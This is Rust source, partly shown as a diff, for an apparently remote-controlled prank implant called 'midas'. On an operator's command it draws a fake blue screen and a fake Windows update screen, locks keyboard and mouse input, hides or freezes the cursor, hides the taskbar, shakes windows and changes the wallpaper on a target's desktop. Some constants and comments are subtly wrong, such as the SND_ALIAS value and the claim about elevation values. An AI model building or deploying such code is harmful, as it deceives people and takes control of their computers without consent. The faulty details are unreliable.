let (width, height) = decoded.dimensions();
if width == 0 || height == 0 {
return Err(format!("{path}: image has no dimensions"));
}
let decoded = if width > MAX_TEXTURE_DIM || height > MAX_TEXTURE_DIM {
let scale = MAX_TEXTURE_DIM as f32 / width.max(height) as f32;
image::imageops::resize(
&decoded,
(width as f32 * scale).round() as u32,
(height as f32 * scale).round() as u32,
image::imageops::FilterType::Triangle,
)
} else {
decoded
};
let (width, height) = decoded.dimensions();
let natural = Vec2::new(width as f32, height as f32);
let color = egui::ColorImage::from_rgba_unmultiplied(
[width as usize, height as usize],
decoded.as_raw(),
);
let texture = ctx.load_texture(
format!("midas-{path}"),
color,
TextureOptions::LINEAR,
);
Ok((texture, natural))
}
// ---------------------------------------------------------------------------
// Viewport geometry
// ---------------------------------------------------------------------------
impl Content {
fn animated(&self) -> bool {
matches!(self, Content::Spook { .. })
}
fn builder(&self, ctx: &Context, id: u64, screen: Rect) -> ViewportBuilder {
let app_id = format!("midas-{id}");
let title = format!("midas {id}");
let screen = screen.size();
let base = ViewportBuilder::default()
.with_app_id(app_id)
.with_title(title)
.with_decorations(false)
.with_resizable(false);
match self {
Content::Image {
natural, mode, topmost, ..
} => {
let size = match mode.as_str() {
"fullscreen" => screen,
"center" => *natural,
// `fit` is the only remaining mode, so it is the default arm.
_ => *natural * 0.7,
};
let size = Vec2::new(
size.x.min(screen.x).max(1.0),
size.y.min(screen.y).max(1.0),
);
base.with_inner_size(size)
.with_position(pos2(
((screen.x - size.x) / 2.0).round(),
((screen.y - size.y) / 2.0).round(),
))
.with_transparent(mode != "fullscreen")
.with_window_level(if *topmost {
WindowLevel::AlwaysOnTop
} else {
// `Normal` rather than "unset": a viewport level must
// be chosen explicitly to override whatever the root
// window happens to use.
WindowLevel::Normal
})
}
Content::Bsod { .. } | Content::Update { .. } | Content::Spook { .. } => base
.with_fullscreen(true)
.with_window_level(WindowLevel::AlwaysOnTop),
Content::Toast { title, body } => {
let _ = title;
// Measure the body so a long notification is not clipped by a
// fixed-height window.
let galley = ctx.fonts(|f| {
f.layout(
body.clone(),
FontId::proportional(13.0),
Color32::PLACEHOLDER,
TOAST_TEXT_WIDTH,
)
});
let size = Vec2::new(
TOAST_TEXT_WIDTH + TOAST_PADDING * 2.0,
(TOAST_HEADER + galley.size().y + TOAST_PADDING).min(320.0),
);
let margin = 16.0;
base.with_inner_size(size)
.with_position(pos2(
(screen.x - size.x - margin).max(0.0).round(),
(screen.y - size.y - margin).max(0.0).round(),
))
.with_transparent(true)
.with_window_level(WindowLevel::AlwaysOnTop)
}
Content::Note {
text, x, y, size: font_size, ..
} => {
let font = FontId::proportional(*font_size);
let galley = ctx.fonts(|f| {
f.layout(
text.clone(),
font,
Color32::PLACEHOLDER,
screen.x * 0.7,
)
});
let size = Vec2::new(
(galley.size().x + 32.0).clamp(64.0, screen.x * 0.95),
(galley.size().y + 24.0).max(font_size * 2.0),
);
base.with_inner_size(size)
.with_position(pos2(
x.clamp(0.0, (screen.x - size.x).max(0.0)),
y.clamp(0.0, (screen.y - size.y).max(0.0)),
))
.with_transparent(true)
.with_window_level(WindowLevel::AlwaysOnTop)
}
}
}
// -----------------------------------------------------------------------
// Drawing
// -----------------------------------------------------------------------
fn draw(&self, painter: &mut Painter, rect: Rect, time: f64, seed: u64) {
match self {
Content::Image {
texture,
natural,
mode,
..
} => draw_image(painter, rect, texture, *natural, mode),
Content::Bsod { stopcode, percent } => {
draw_bsod(painter, rect, stopcode, *percent)
}
Content::Update { title, percent } => {
draw_update(painter, rect, title, *percent)
}
Content::Toast { title, body } => draw_toast(painter, rect, title, body),
Content::Note { text, size, .. } => {
draw_note(painter, rect, text, *size)
}
Content::Spook { mode } => draw_spook(painter, rect, mode, time, seed),
}
}
}
// ---------------------------------------------------------------------------
// Per-overlay painters
// ---------------------------------------------------------------------------
/// Toast metrics, shared between sizing the window and painting into it.
const TOAST_PADDING: f32 = 14.0;
const TOAST_TEXT_WIDTH: f32 = 320.0;
const TOAST_HEADER: f32 = 40.0;
const TOAST_LINE_HEIGHT: f32 = 17.0;
fn draw_image(
painter: &Painter,
rect: Rect,
texture: &TextureHandle,
natural: Vec2,
mode: &str,
) {
let (scale, offset) = if mode == "fullscreen" {
// `cover`: fill the viewport and let the overflow crop. More dramatic
// than letterboxing, which is the point for a fullscreen scare.
let scale = (rect.width() / natural.x).max(rect.height() / natural.y);
(
scale,
Vec2::new(
(rect.width() - natural.x * scale) / 2.0,
(rect.height() - natural.y * scale) / 2.0,
),
)
} else {
// `contain`: never upscale past 1:1, never crop.
let scale = (rect.width() / natural.x).min(rect.height() / natural.y).min(1.0);
(scale, (rect.size() - natural * scale) / 2.0)
};
painter.image(
texture.id(),
Rect::from_min_size(rect.min + offset, natural * scale),
UV_FULL,
Color32::WHITE,
);
}
fn draw_bsod(painter: &Painter, rect: Rect, stopcode: &str, percent: i64) {
let white = Color32::WHITE;
painter.rect_filled(rect, 0.0, Color32::from_rgb(0, 0, 170));
let pad = rect.width() * 0.06;
// The frown, at roughly the height a real BSOD puts it.
let frown = FontId::monospace((rect.height() * 0.15).min(rect.width() * 0.15));
painter.text(
pos2(rect.center().x, rect.min.y + rect.height() * 0.26),
Align2::CENTER_CENTER,
":(",
frown,
white,
);
let bar_size = Vec2::new(rect.width() * 0.26, 18.0);
let bar = Rect::from_center_size(
pos2(rect.center().x, rect.min.y + rect.height() * 0.52),
bar_size,
);
painter.rect_filled(bar, 2.0, Color32::from_white_alpha(45));
painter.rect_filled(
Rect::from_min_size(
bar.min,
Vec2::new(
bar_size.x * percent.clamp(0, 100) as f32 / 100.0,
bar_size.y,
),
),
2.0,
white,
);
painter.text(
pos2(rect.center().x, bar.max.y + 22.0),
Align2::CENTER_TOP,
format!("{percent}% complete"),
FontId::proportional(17.0),
white,
);
let body = FontId::proportional((rect.width() * 0.014).clamp(12.0, 22.0));
let left = pos2(rect.min.x + pad, rect.max.y - pad);
let right = pos2(rect.max.x - pad, rect.max.y - pad);
let lines: [(&str, Align2, Pos2); 4] = [
(
"Your PC ran into a problem and needs to restart. We're just collecting some error info, and then we'll restart for you.",
Align2::LEFT_BOTTOM,
left,
),
(
"For more information about this error and possible fixes, visit",
Align2::LEFT_BOTTOM,
pos2(left.x, left.y - 46.0),
),
(
"https://www.windows.com/werr",
Align2::LEFT_BOTTOM,
pos2(left.x, left.y - 70.0),
),
("100% complete", Align2::RIGHT_BOTTOM, right),
];
for (line, anchor, at) in lines {
painter.text(at, anchor, line, body.clone(), white);
}
painter.text(
pos2(right.x, right.y - 46.0),
Align2::RIGHT_BOTTOM,
format!("Stop code: {stopcode}"),
body,
white,
);
}
fn draw_update(painter: &Painter, rect: Rect, title: &str, percent: i64) {
let white = Color32::WHITE;
let accent = Color32::from_rgb(0, 120, 215);
painter.rect_filled(rect, 0.0, Color32::from_rgb(24, 32, 48));
// A lighter band across the upper portion, approximating the Windows update
// screen well enough to read as "this is a system dialog".
painter.rect_filled(
Rect::from_min_size(rect.min, Vec2::new(rect.width(), rect.height() * 0.4)),
0.0,
Color32::from_rgb(32, 48, 74),
);
painter.text(
pos2(rect.center().x, rect.min.y + rect.height() * 0.30),
Align2::CENTER_CENTER,
title,
FontId::proportional((rect.width() * 0.026).clamp(20.0, 48.0)),
white,
);
painter.text(
pos2(rect.center().x, rect.min.y + rect.height() * 0.40),
Align2::CENTER_CENTER,
"Please wait while your computer installs updates",
FontId::proportional((rect.width() * 0.013).clamp(12.0, 22.0)),
Color32::from_white_alpha(200),
);
let bar_size = Vec2::new(rect.width() * 0.3, 8.0);
let bar = Rect::from_center_size(
pos2(rect.center().x, rect.min.y + rect.height() * 0.52),
bar_size,
);
painter.rect_filled(bar, 4.0, Color32::from_white_alpha(40));
painter.rect_filled(
Rect::from_min_size(
bar.min,
Vec2::new(
bar_size.x * percent.clamp(0, 100) as f32 / 100.0,
bar_size.y,
),
),
4.0,
accent,
);
painter.text(
pos2(rect.center().x, bar.max.y + 20.0),
Align2::CENTER_CENTER,
format!("{percent}% complete"),
FontId::proportional((rect.width() * 0.012).clamp(12.0, 20.0)),
Color32::from_white_alpha(180),
);
painter.text(
pos2(rect.center().x, rect.max.y - rect.height() * 0.12),
Align2::CENTER_CENTER,
"Do not turn off your computer",
FontId::proportional((rect.width() * 0.012).clamp(12.0, 20.0)),
Color32::from_white_alpha(150),
);
}
fn draw_toast(painter: &Painter, rect: Rect, title: &str, body: &str) {
painter.rect_filled(rect, 8.0, Color32::from_rgb(43, 43, 43));
painter.rect_stroke(rect, 8.0, Stroke::new(1.0, Color32::from_white_alpha(40)));
painter.text(
pos2(rect.min.x + TOAST_PADDING, rect.min.y + 12.0),
Align2::LEFT_TOP,
title,
FontId::proportional(14.0),
Color32::from_rgb(120, 180, 255),
);
// The painter's `text` does not wrap, so lines are laid out by hand. The
// window was sized to fit the wrapped body in `builder`, so this only
// truncates if the two disagree about the estimate.
let font = FontId::proportional(13.0);
let mut y = rect.min.y + TOAST_HEADER;
let max_lines = (((rect.max.y - y - 8.0) / TOAST_LINE_HEIGHT).floor() as usize).max(1);
for line in wrap_text(body, TOAST_TEXT_WIDTH, 13.0).into_iter().take(max_lines) {
painter.text(
pos2(rect.min.x + TOAST_PADDING, y),
Align2::LEFT_TOP,
line,
font.clone(),
Color32::from_gray(235),
);
y += TOAST_LINE_HEIGHT;
}
}
fn draw_note(painter: &Painter, rect: Rect, text: &str, size: f32) {
let font = FontId::proportional(size);
// Transparent window, so a drop shadow is what keeps the text legible over
// an arbitrary wallpaper.
let lines = wrap_text(text, rect.width() - 24.0, size);
for (offset, color) in [
(2.0, Color32::from_black_alpha(190)),
(0.0, Color32::from_rgb(255, 236, 120)),
] {
let mut y = rect.min.y + 12.0 + offset;
for line in &lines {
painter.text(
pos2(rect.min.x + 12.0 + offset, y),
Align2::LEFT_TOP,
line,
font.clone(),
color,
);
y += size * 1.25;
}
}
}
fn draw_spook(painter: &Painter, rect: Rect, mode: &str, time: f64, seed: u64) {
match mode {
"matrix" => draw_matrix(painter, rect, time, seed),
"scanline" => draw_scanline(painter, rect, time),
"glitch" => draw_glitch(painter, rect, time, seed),
// `static` is the default arm, and the only mode with no time input.
_ => draw_static(painter, rect, time, seed),
}
}
fn draw_static(painter: &Painter, rect: Rect, time: f64, seed: u64) {
painter.rect_filled(rect, 0.0, Color32::from_gray(8));
let frame = (time * 30.0) as u64;
let mut rng = Rng::new(seed ^ frame.wrapping_mul(0x9E37_79B9_7F4A_7C15));
// A couple of thousand rects reads as noise and stays cheap; one rect per
// pixel would not.
for _ in 0..2200 {
let w = rng.range(2.0, 12.0);
let h = rng.range(1.0, 4.0);
let grey = rng.range(20.0, 255.0) as u8;
painter.rect_filled(
Rect::from_min_size(
pos2(rng.range(0.0, rect.width()), rng.range(0.0, rect.height())),
Vec2::new(w, h),
),
0.0,
Color32::from_gray(grey),
);
}
}
fn draw_matrix(painter: &Painter, rect: Rect, time: f64, seed: u64) {
painter.rect_filled(rect, 0.0, Color32::from_rgb(0, 8, 0));
// ASCII only, deliberately: egui's bundled default font has no CJK
// coverage, so katakana would render as blank boxes rather than glyphs.
const GLYPHS: &[u8] = b"0123456789ABCDEF$<>#@%&*+=|\\";
let cell: f32 = 18.0;
let columns = (rect.width() / cell).ceil() as u32;
let rows = (rect.height() / cell).ceil() as u32;
let tail = 14i64;
let font = FontId::monospace(cell * 0.9);
for column in 0..columns {
// Per-column speed and phase derived from the column index, so the
// animation is a pure function of time and needs no stored state.
let column_seed = seed ^ (column as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15);
let speed = 6.0 + (column_seed % 9) as f64;
let phase = ((column_seed >> 8) % 1000) as f64 / 1000.0;
let span = rows as i64 + tail;
let head = (time.mul_add(speed, phase * 60.0) % span as f64) as i64;
for offset in 0..tail {
let row = head - offset;
if row < 0 || row >= rows as i64 {
continue;
}
let index = (column_seed.rotate_left(row as u32 * 5) as usize) % GLYPHS.len();
let glyph = GLYPHS[index] as char;
// Brightest at the head, fading down the tail.
let alpha = 255 - (offset as f32 / tail as f32 * 235.0) as u8;
let color = if offset == 0 {
Color32::from_rgb(200, 255, 200)
} else {
Color32::from_rgba_unmultiplied(0, 210, 60, alpha)
};
painter.text(
pos2(column as f32 * cell, row as f32 * cell),
Align2::LEFT_TOP,
glyph,
font.clone(),
color,
);
}
}
}
fn draw_scanline(painter: &Painter, rect: Rect, time: f64) {
painter.rect_filled(rect, 0.0, Color32::from_rgb(6, 10, 6));
let mut y = 0.0f32;
while y < rect.height() {
painter.rect_filled(
Rect::from_min_size(
pos2(rect.min.x, rect.min.y + y),
Vec2::new(rect.width(), 1.0),
),
0.0,
Color32::from_black_alpha(140),
);
y += 3.0;
}
// A brighter band sweeping down, which is what sells it as a display fault.
let span = rect.height() + 200.0;
let band_y = ((time * 260.0) % span as f64) as f32 - 100.0;
for offset in 0..3 {
painter.rect_filled(
Rect::from_min_size(
pos2(rect.min.x, rect.min.y + band_y + offset as f32 * 2.0),
Vec2::new(rect.width(), 1.0),
),
0.0,
Color32::from_rgb(120, 255, 160),
);
}
}
fn draw_glitch(painter: &Painter, rect: Rect, time: f64, seed: u64) {
painter.rect_filled(rect, 0.0, Color32::from_rgb(10, 0, 14));
let mut rng = Rng::new(seed ^ (time * 20.0) as u64);
// Horizontal slices displaced sideways, the classic datamosh look.
let slices = 40;
let band = rect.height() / slices as f32;
for index in 0..slices {
let shift = if rng.f32() > 0.82 {
rng.range(-90.0, 90.0)
} else {
0.0
};
let hue = rng.f32();
let color = Color32::from_rgba_unmultiplied(
(hue * 255.0) as u8,
((1.0 - hue) * 180.0) as u8,
(rng.f32() * 200.0) as u8,
90,
);
painter.rect_filled(
Rect::from_min_size(
pos2(rect.min.x + shift, rect.min.y + index as f32 * band),
Vec2::new(rect.width(), band),
),
0.0,
color,
);
}
// A few solid bright bands on top.
for _ in 0..6 {
let height = rng.range(2.0, 14.0);
let alpha = rng.range(40.0, 150.0) as u8;
painter.rect_filled(
Rect::from_min_size(
pos2(
rect.min.x + rng.range(-60.0, 60.0),
rect.min.y + rng.range(0.0, rect.height()),
),
Vec2::new(rect.width(), height),
),
0.0,
Color32::from_white_alpha(alpha),
);
}
}
// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------
/// Greedy word wrap. The painter's `text` call does not wrap, and these strings
/// are short enough that a per-character width estimate is good enough - the
/// only consequence of being out is a line that is a little short or a little
/// wide, and the window was sized with the same estimate.
fn wrap_text(text: &str, max_width: f32, font_size: f32) -> Vec<String> {
let char_width = (font_size * 0.55).max(1.0);
let per_line = (max_width / char_width).floor().max(1.0) as usize;
let mut lines = Vec::new();
let mut current = String::new();
for word in text.split_whitespace() {
let candidate = if current.is_empty() {
word.to_string()
} else {
format!("{current} {word}")
};
if current.is_empty() || candidate.chars().count() <= per_line {
current = candidate;
} else {
lines.push(std::mem::take(&mut current));
current = word.to_string();
}
}
if !current.is_empty() {
lines.push(current);
}
if lines.is_empty() {
lines.push(String::new());
}
lines
}

View File

@ -0,0 +1,814 @@
//! Windows desktop integration.
//!
//! The Win32 entry points are declared by hand rather than pulled from the
//! `windows` crate. That keeps the dependency list short, keeps the binary
//! small, and — because the declarations are plain `extern "system"` with no
//! per-version typing — the module links identically under both
//! `x86_64-pc-windows-msvc` and the `x86_64-pc-windows-gnu` target used to
//! cross-compile from Linux.
//!
//! Nothing here is called on the check-in thread. Blocking calls (`msgbox`,
//! `shake`, `lock_input`, `cursor`) are invoked through `gui::detach`, because
//! the Web UI abandons a task after 90 seconds and an inline modal dialog would
//! stall check-ins for as long as it stayed open.
// The Win32 spellings are kept verbatim so each declaration can be read against
// the SDK header by name: a renamed `Hwnd` would not match what the operator
// would look up when checking whether a call is being used correctly.
#![allow(non_snake_case, non_camel_case_types, clippy::upper_case_acronyms)]
use std::ffi::c_void;
use std::os::windows::ffi::OsStrExt;
use std::time::{Duration, Instant};
type HWND = *mut c_void;
type HKEY = *mut c_void;
type HANDLE = *mut c_void;
type UINT = u32;
type DWORD = u32;
type LPARAM = isize;
type BOOL = i32;
// --- MessageBoxW ------------------------------------------------------------
const MB_OK: u32 = 0x0000;
const MB_ICONERROR: u32 = 0x0010;
const MB_ICONQUESTION: u32 = 0x0020;
const MB_ICONWARNING: u32 = 0x0030;
const MB_ICONINFORMATION: u32 = 0x0040;
const MB_SETFOREGROUND: u32 = 0x10000;
const MB_TOPMOST: u32 = 0x40000;
// --- SystemParametersInfoW --------------------------------------------------
const SPI_SETDESKWALLPAPER: u32 = 0x0014;
const SPI_GETDESKWALLPAPER: u32 = 0x0073;
const SPIF_UPDATEINIFILE: u32 = 0x0001;
const SPIF_SENDCHANGE: u32 = 0x0002;
// --- ShowWindow / SetWindowPos ---------------------------------------------
const SW_HIDE: i32 = 0;
const SW_SHOW: i32 = 5;
const SW_MINIMIZE: i32 = 6;
const SW_RESTORE: i32 = 9;
const SWP_NOSIZE: u32 = 0x0001;
const SWP_NOZORDER: u32 = 0x0004;
const SWP_NOACTIVATE: u32 = 0x0010;
// --- PlaySoundW -------------------------------------------------------------
const SND_ASYNC: u32 = 0x0001;
const SND_FILENAME: u32 = 0x0002;
const SND_LOOP: u32 = 0x0008;
/// Selects a system sound by name rather than a file. Not the same bit as
/// `SND_ASYNC`, which is a common transcription slip.
const SND_ALIAS: u32 = 0x1100;
// --- GetSystemMetrics -------------------------------------------------------
const SM_CXSCREEN: i32 = 0;
const SM_CYSCREEN: i32 = 1;
// --- Registry ---------------------------------------------------------------
const HKEY_CURRENT_USER: HKEY = 0x8000_0001u32 as HKEY;
const KEY_SET_VALUE: DWORD = 0x0002;
const REG_DWORD: DWORD = 4;
const ERROR_SUCCESS: i32 = 0;
const WM_SETTINGCHANGE: UINT = 0x001A;
const HWND_BROADCAST: HWND = 0xFFFFu32 as HWND;
const SMTO_ABORTIFHUNG: UINT = 0x0002;
const HWND_TOP: HWND = 0u32 as HWND;
// --- waveOutSetVolume -------------------------------------------------------
const WAVE_MAPPER: usize = 0xFFFF_FFFF;
#[repr(C)]
struct RECT {
left: i32,
top: i32,
right: i32,
bottom: i32,
}
#[link(name = "user32")]
extern "system" {
fn MessageBoxW(hwnd: HWND, text: *const u16, caption: *const u16, kind: u32) -> i32;
fn SystemParametersInfoW(action: u32, param: u32, param_ptr: *mut c_void, flags: u32) -> BOOL;
fn GetForegroundWindow() -> HWND;
fn SetWindowPos(
hwnd: HWND,
insert_after: HWND,
x: i32,
y: i32,
cx: i32,
cy: i32,
flags: u32,
) -> BOOL;
fn GetWindowRect(hwnd: HWND, rect: *mut RECT) -> BOOL;
fn SetWindowTextW(hwnd: HWND, text: *const u16) -> BOOL;
fn GetWindowTextLengthW(hwnd: HWND) -> i32;
fn GetWindowTextW(hwnd: HWND, text: *mut u16) -> i32;
fn ShowWindow(hwnd: HWND, command: i32) -> BOOL;
fn FindWindowW(class: *const u16, name: *const u16) -> HWND;
fn EnumWindows(callback: Option<unsafe extern "system" fn(HWND, LPARAM) -> BOOL>, lparam: LPARAM) -> BOOL;
fn IsWindowVisible(hwnd: HWND) -> BOOL;
fn IsIconic(hwnd: HWND) -> BOOL;
fn GetProcessWindowStation() -> HANDLE;
fn BlockInput(block: BOOL) -> BOOL;
fn SetCursorPos(x: i32, y: i32) -> BOOL;
fn GetCursorPos(point: *mut POINT) -> BOOL;
fn ShowCursor(show: BOOL) -> i32;
fn GetSystemMetrics(index: i32) -> i32;
fn SendMessageTimeoutW(
hwnd: HWND,
message: UINT,
wparam: usize,
lparam: usize,
flags: UINT,
timeout: u32,
result: *mut usize,
) -> usize;
}
#[link(name = "winmm")]
extern "system" {
fn PlaySoundW(sound: *const u16, module: *mut c_void, flags: u32) -> BOOL;
fn waveOutSetVolume(device: usize, volume: u32) -> u32;
fn waveOutGetVolume(device: usize, volume: *mut u32) -> u32;
}
#[link(name = "kernel32")]
extern "system" {
fn CloseHandle(handle: HANDLE) -> BOOL;
}
#[link(name = "shell32")]
extern "system" {
fn ShellExecuteW(
hwnd: HWND,
operation: *const u16,
file: *const u16,
parameters: *const u16,
directory: *const u16,
show: i32,
) -> *mut c_void;
}
#[link(name = "advapi32")]
extern "system" {
fn RegOpenKeyExW(
hkey: HKEY,
subkey: *const u16,
options: DWORD,
access: DWORD,
result: *mut HKEY,
) -> i32;
fn RegSetValueExW(
hkey: HKEY,
value_name: *const u16,
reserved: DWORD,
value_type: DWORD,
data: *const u8,
data_size: DWORD,
) -> i32;
fn RegCloseKey(hkey: HKEY) -> i32;
fn OpenProcessToken(process: HANDLE, access: DWORD, token: *mut HANDLE) -> BOOL;
fn GetTokenInformation(
token: HANDLE,
class: i32,
info: *mut c_void,
length: DWORD,
returned: *mut DWORD,
) -> BOOL;
fn GetCurrentProcess() -> HANDLE;
}
// --- Environment probing ----------------------------------------------------
const TOKEN_QUERY: DWORD = 0x0008;
const TOKEN_ELEVATION_CLASS: i32 = 20;
/// Whether the process has an interactive window station.
///
/// Null from `GetProcessWindowStation` means the process was never assigned one,
/// which is the case for a service or a scheduled task. Every overlay window
/// would fail in that state, so `sysinfo` reports it rather than letting the
/// operator find out by sending a prank that does nothing.
pub fn has_window_station() -> bool {
!unsafe { GetProcessWindowStation() }.is_null()
}
/// Whether the process is running elevated.
///
/// Reported because it is the difference between `lockinput` working and being
/// refused: `BlockInput` needs SE_DEBUG access, which a standard user does not
/// have.
pub fn is_elevated() -> bool {
let mut token: HANDLE = std::ptr::null_mut();
// SAFETY: `token` is a live local, and every failure path below leaves it
// unopened rather than closing a garbage handle.
if unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) } == 0 {
return false;
}
// A `TOKEN_ELEVATION` is a single DWORD: 1 when the token is an
// administrator token, 0 when it is the linked restricted one.
let mut elevation: DWORD = 0;
let mut returned: DWORD = 0;
let ok = unsafe {
GetTokenInformation(
token,
TOKEN_ELEVATION_CLASS,
&mut elevation as *mut DWORD as *mut c_void,
std::mem::size_of::<DWORD>() as DWORD,
&mut returned,
)
} != 0;
unsafe { CloseHandle(token) };
// A full administrator token reports 2; 1 is a partially elevated one that
// still counts for our purposes. 0 is the standard user's token.
ok && elevation >= 1
}
#[repr(C)]
struct POINT {
x: i32,
y: i32,
}
const SW_SHOWNORMAL: i32 = 1;
fn wide(text: &str) -> Vec<u16> {
std::ffi::OsStr::new(text)
.encode_wide()
.chain(std::iter::once(0))
.collect()
}
fn is_bad(hwnd: HWND) -> bool {
hwnd.is_null() || hwnd as isize <= 0
}
// ---------------------------------------------------------------------------
// Dialogs
// ---------------------------------------------------------------------------
/// Modal message box. Blocks until dismissed, so this must never run on the
/// check-in thread.
pub fn msgbox(title: &str, body: &str, icon: &str, sound: bool) {
let flags = match icon {
"error" => MB_ICONERROR,
"warning" => MB_ICONWARNING,
"question" => MB_ICONQUESTION,
"information" | "info" => MB_ICONINFORMATION,
_ => 0,
} | MB_OK | MB_SETFOREGROUND | MB_TOPMOST;
// The alarm goes first, and asynchronously, so the sound overlaps the
// dialog. Played after the box is dismissed it would land on a desktop that
// has already moved on.
if sound {
unsafe {
PlaySoundW(
wide("SystemQuestion").as_ptr(),
std::ptr::null_mut(),
SND_ALIAS | SND_ASYNC,
);
}
}
unsafe {
MessageBoxW(
std::ptr::null_mut(),
wide(body).as_ptr(),
wide(title).as_ptr(),
flags,
);
}
}
// ---------------------------------------------------------------------------
// Wallpaper
// ---------------------------------------------------------------------------
pub fn set_wallpaper(path: &str) -> Result<(), String> {
if !std::path::Path::new(path).exists() {
return Err(format!("{path} does not exist"));
}
let wide_path = wide(path);
let ok = unsafe {
SystemParametersInfoW(
SPI_SETDESKWALLPAPER,
0,
wide_path.as_ptr() as *mut c_void,
SPIF_UPDATEINIFILE | SPIF_SENDCHANGE,
)
};
if ok == 0 {
Err("SystemParametersInfoW(SPI_SETDESKWALLPAPER) failed".into())
} else {
Ok(())
}
}
pub fn get_wallpaper() -> Result<String, String> {
const MAX_PATH: usize = 260;
let mut buffer = vec![0u16; MAX_PATH];
let ok = unsafe {
SystemParametersInfoW(
SPI_GETDESKWALLPAPER,
MAX_PATH as u32,
buffer.as_mut_ptr() as *mut c_void,
0,
)
};
if ok == 0 {
return Err("SystemParametersInfoW(SPI_GETDESKWALLPAPER) failed".into());
}
let end = buffer.iter().position(|&c| c == 0).unwrap_or(0);
Ok(String::from_utf16_lossy(&buffer[..end]))
}
// ---------------------------------------------------------------------------
// Windows
// ---------------------------------------------------------------------------
struct WindowList {
windows: Vec<(HWND, i32, i32)>,
}
unsafe extern "system" fn collect_visible(hwnd: HWND, lparam: LPARAM) -> BOOL {
let list = &mut *(lparam as *mut WindowList);
if IsWindowVisible(hwnd) == 0 {
return 1;
}
let mut rect = RECT {
left: 0,
top: 0,
right: 0,
bottom: 0,
};
if GetWindowRect(hwnd, &mut rect) == 0 {
return 1;
}
list.windows.push((hwnd, rect.left, rect.top));
1
}
fn visible_windows() -> Vec<(HWND, i32, i32)> {
let mut list = WindowList { windows: Vec::new() };
unsafe {
EnumWindows(
Some(collect_visible),
&mut list as *mut WindowList as LPARAM,
);
}
list.windows
}
/// Moves windows back and forth horizontally, then puts them back.
///
/// `target` is `foreground` or `all`; `mouse` never reaches this function
/// because `commands.rs` routes it to `cursor`.
pub fn shake(seconds: u64, amplitude: i32, interval: u64, target: &str) {
let targets: Vec<(HWND, i32, i32)> = if target == "all" {
visible_windows()
} else {
let hwnd = unsafe { GetForegroundWindow() };
if is_bad(hwnd) {
return;
}
let mut rect = RECT {
left: 0,
top: 0,
right: 0,
bottom: 0,
};
if unsafe { GetWindowRect(hwnd, &mut rect) } == 0 {
return;
}
vec![(hwnd, rect.left, rect.top)]
};
let deadline = Instant::now() + Duration::from_secs(seconds);
let step = Duration::from_millis(interval.max(10));
let mut phase = 0i32;
while Instant::now() < deadline {
phase = if phase == 0 { 1 } else { 0 };
let offset = if phase == 1 { amplitude } else { -amplitude };
for (hwnd, x, y) in &targets {
unsafe {
SetWindowPos(*hwnd, HWND_TOP, x + offset, *y, 0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
}
}
std::thread::sleep(step);
}
// Restore, or the target is left with every window nudged sideways.
for (hwnd, x, y) in &targets {
unsafe {
SetWindowPos(*hwnd, HWND_TOP, *x, *y, 0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
}
}
}
pub fn get_foreground_title() -> Result<String, String> {
let hwnd = unsafe { GetForegroundWindow() };
if is_bad(hwnd) {
return Err("no foreground window".into());
}
let length = unsafe { GetWindowTextLengthW(hwnd) };
if length <= 0 {
return Ok(String::new());
}
let mut buffer = vec![0u16; length as usize + 1];
let copied = unsafe { GetWindowTextW(hwnd, buffer.as_mut_ptr()) };
if copied <= 0 {
return Err("could not read the window title".into());
}
Ok(String::from_utf16_lossy(&buffer[..copied as usize]))
}
/// Returns the previous title so the operator can put it back.
pub fn set_foreground_title(title: &str) -> Result<String, String> {
let hwnd = unsafe { GetForegroundWindow() };
if is_bad(hwnd) {
return Err("no foreground window".into());
}
let previous = get_foreground_title().unwrap_or_default();
let ok = unsafe { SetWindowTextW(hwnd, wide(title).as_ptr()) };
if ok == 0 {
Err("SetWindowTextW failed (the target window may be elevated)".into())
} else {
Ok(previous)
}
}
pub fn set_taskbar(state: &str) -> Result<(), String> {
let class = wide("Shell_TrayWnd");
let hwnd = unsafe { FindWindowW(class.as_ptr(), std::ptr::null()) };
if is_bad(hwnd) {
return Err("taskbar window not found".into());
}
let command = match state {
"hide" => SW_HIDE,
"show" => SW_SHOW,
// `IsWindowVisible` is the same predicate `ShowWindow(SW_HIDE)` clears,
// so this inverts exactly what the last call did.
_ => {
if unsafe { IsWindowVisible(hwnd) } != 0 {
SW_HIDE
} else {
SW_SHOW
}
}
};
unsafe { ShowWindow(hwnd, command) };
Ok(())
}
pub fn set_minimized(state: &str) -> Result<(), String> {
let windows = visible_windows();
if windows.is_empty() {
return Err("no visible windows to act on".into());
}
// `IsIconic` is the same predicate `SW_MINIMIZE` sets. Toggling each window
// individually would leave a mix of minimised and restored windows, which
// neither `minimize` nor `restore` could describe afterwards, so the whole
// set moves one way based on whether all of them are already down.
let all_minimized = windows.iter().all(|&(hwnd, _, _)| unsafe { IsIconic(hwnd) } != 0);
let command = match state {
"minimize" => SW_MINIMIZE,
"restore" => SW_RESTORE,
_ if all_minimized => SW_RESTORE,
_ => SW_MINIMIZE,
};
for (hwnd, _, _) in windows {
unsafe { ShowWindow(hwnd, command) };
}
Ok(())
}
// ---------------------------------------------------------------------------
// Cursor and input
// ---------------------------------------------------------------------------
pub fn cursor(action: &str, seconds: u64) {
let deadline = Instant::now() + Duration::from_secs(seconds);
let mut origin = POINT { x: 0, y: 0 };
let had_position = unsafe { GetCursorPos(&mut origin) } != 0;
// `ShowCursor` keeps an internal increment/decrement counter, so a balanced
// pair of calls is all that is needed. The per-tick call below is a
// re-assert, not a second increment.
if action == "hide" {
unsafe { ShowCursor(0) };
}
let mut tick: u64 = 0;
while Instant::now() < deadline {
let (x, y) = match action {
"hide" | "corner" => (0, 0),
"freeze" => (origin.x, origin.y),
"shake" => {
// Alternate a few pixels either side of where the pointer was.
let delta = if tick % 2 == 0 { 24 } else { -24 };
(origin.x + delta, origin.y)
}
_ => break,
};
unsafe { SetCursorPos(x, y) };
// An application that calls ShowCursor(TRUE) itself undoes the hide, so
// the cursor is re-hidden every tick.
if action == "hide" {
unsafe { ShowCursor(0) };
}
tick += 1;
std::thread::sleep(Duration::from_millis(20));
}
if action == "hide" {
unsafe { ShowCursor(1) };
}
// Every mode except `freeze` moved the pointer, and `freeze` ended back
// where it started, so restoring unconditionally is both correct and a
// no-op in the one case where nothing was left to undo.
if had_position {
